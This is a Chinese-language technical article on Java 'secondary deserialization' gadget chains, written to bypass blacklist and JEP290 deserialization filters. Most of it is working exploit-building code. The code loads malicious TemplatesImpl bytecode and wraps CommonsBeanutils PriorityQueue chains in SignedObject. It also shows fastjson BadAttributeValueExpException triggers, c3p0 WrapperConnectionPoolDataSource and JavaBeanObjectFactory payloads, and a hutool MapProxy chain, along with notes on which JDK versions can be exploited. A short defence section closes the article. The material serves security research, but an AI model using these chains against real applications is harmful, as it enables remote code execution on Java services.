java二次反序列化链
字数 1436 2025-08-29 22:41:32
Java二次反序列化链技术详解
一、二次反序列化概念与原理
1.1 为什么要使用二次反序列化
二次反序列化主要用于绕过黑名单防御机制。当代码通过重写ObjectInputStream.resolveClass()进行黑名单防御时,二次反序列化链所需的类名不在黑名单中,从而产生bypass。
1.2 典型黑名单防御示例
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST = new HashSet<String>(Arrays.asList(new String[] {
//"org.apache.commons.beanutils.BeanComparator",
"javax.management.BadAttributeValueExpException",
"org.apache.commons.collections4.map.AbstractHashedMap",
"org.springframework.aop.target.HotSwappableTargetSource",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
}));
protected Class<?> resolveClass(ObjectStreamClass desc) throws ClassNotFoundException, IOException {
String className = desc.getName();
if (BLACKLIST.contains(className))
throw new InvalidClassException("Disallowed deserialization attempt: " + className);
return super.resolveClass(desc);
}
}
1.3 JEP290与防御绕过
JEP290引入了ObjectInputFilter机制:
// 单个ObjectInputStream设置
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
ois.readObject();
// 全局设置(无法通过二次反序列化绕过)
System.setProperty("jdk.serialFilter", "!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
全局设置还可以在java.security中写入jdk.serialFilter,不同JDK版本文件位置不同:
- JDK8:
jdk1.8.0_181/jre/lib/security/java.security - JDK11:
jdk-11.0.11/conf/security/java.security
二、协议二次反序列化
2.1 RMI协议
- JDK原生链:
JRMPClient和JRMPListener - 需要出网,受JEP290影响
- 版本限制:
- 8u121-8u231/8u231-8u241存在JEP290 bypass
- 更高版本无法利用
2.2 JNDI协议
- JDK原生链:
JdbcRowSetImpl/LdapAttribute - 第三方依赖:
SharedPoolDataSource/OracleCachedRowSet - 需要出网,通常接在CB/fastjson/jackson后面
- 版本限制:
- LDAP在JDK20完全无法反序列化
- RMI一直到JDK22还存在反序列化点
2.3 JDBC协议
- MySQL反序列化
- 8.0.19是最后一个可以反序列化的版本
- 存在不出网反序列化利用方式
三、非协议二次反序列化
3.1 SignedObject.getObject()
最常用的二次反序列化链,漏洞点一目了然,天然适合衔接CB/fastjson/jackson。
3.1.1 CB+SignedObject示例
// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造PriorityQueue链
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// 构造SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));
// 构造外层PriorityQueue触发链
final BeanComparator comparator2 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue2 = new PriorityQueue<Object>(2, comparator2);
queue2.add("1"); queue2.add("1");
setFieldValue(comparator2, "property", "object");
setFieldValue(queue2, "queue", new Object[]{signedObject, signedObject});
// 序列化并测试
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue2);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
3.1.2 fastjson/jackson中的使用技巧
在fastjson/jackson链中,不一定要在SignedObject.getObject()触发RCE,而是让它返回一个bean,让链继续调这个bean的getter触发RCE:
// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(obj, kp.getPrivate(), Signature.getInstance("DSA"));
// 构造fastjson触发链
JSONArray jsonArray = new JSONArray();
jsonArray.add(signedObject);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(signedObject,bd);
// 序列化并测试
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap);
objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
3.2 RMIConnector.connect()
利用链:
RMIConnector.connect()
-> RMIConnector.findRMIServerJRMP()
-> RMIConnector.findRMIServer()
-> ObjectInputStream.readObject()
由于触发点不是getter,原生反序列化中难用,基本只能接在CC链上。
3.3 WrapperConnectionPoolDataSource.setUserOverridesAsString()
依赖c3p0,fastjson中经典链,setter转反序列化。
3.3.1 基本利用
InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);
利用链:
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString()
-> VetoableChangeSupport.fireVetoableChange()
-> WrapperConnectionPoolDataSource$1.vetoableChange()
-> C3P0ImplUtils.parseUserOverridesAsString()
-> SerializableUtils.fromByteArray()
-> SerializableUtils.deserializeFromByteArray()
-> ObjectInputStream.readObject()
3.3.2 结合ObjectFactory
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
ref.add(new StringRefAddr("userOverridesAsString", payloadHex));
Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized")
.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);
JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();
3.4 JavaBeanObjectFactory.REF_PROPS_KEY
同样是c3p0,利用链:
JavaBeanObjectFactory.getObjectInstance()
-> SerializableUtils.fromByteArray()
-> SerializableUtils.deserializeFromByteArray()
-> ObjectInputStream.readObject()
示例代码:
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", payload));
Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized")
.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);
JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();
3.5 MapProxy.invoke()
依赖hutool,利用链:
MapProxy.invoke()
-> Convert.convert()
-> Convert.convertWithCheck()
-> ConverterRegistry.convert()
-> BeanConverter.convert()
-> BeanConverter.convertInternal()
-> ObjectUtil.deserialize()
-> SerializeUtil.deserialize()
-> IoUtil.readObj()
-> ValidateObjectInputStream.readObject()
示例代码:
// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_transletIndex", 0);
// 构造PriorityQueue链
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// 构造MapProxy
HashMap map = new HashMap();
map.put("bounds", serialize(queue));
MapProxy mapProxy = MapProxy.create(map);
Class proxyClass = Shape.class;
Shape proxy = (Shape) Proxy.newProxyInstance(proxyClass.getClassLoader(), new Class[] {proxyClass}, mapProxy);
// 构造外层PriorityQueue触发链
setFieldValue(comparator, "property", "bounds");
setFieldValue(queue, "queue", new Object[]{proxy, proxy});
// 序列化并测试
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
四、防御建议
- 使用全局
jdk.serialFilter设置 - 避免使用黑名单机制,采用白名单机制
- 及时更新JDK版本
- 对反序列化操作进行严格权限控制
- 避免不可信数据的反序列化操作
五、总结
二次反序列化是绕过黑名单防御的有效手段,理解其原理和各种实现方式对于安全研究和防御都至关重要。在实际应用中,应根据具体环境和需求选择合适的防御策略。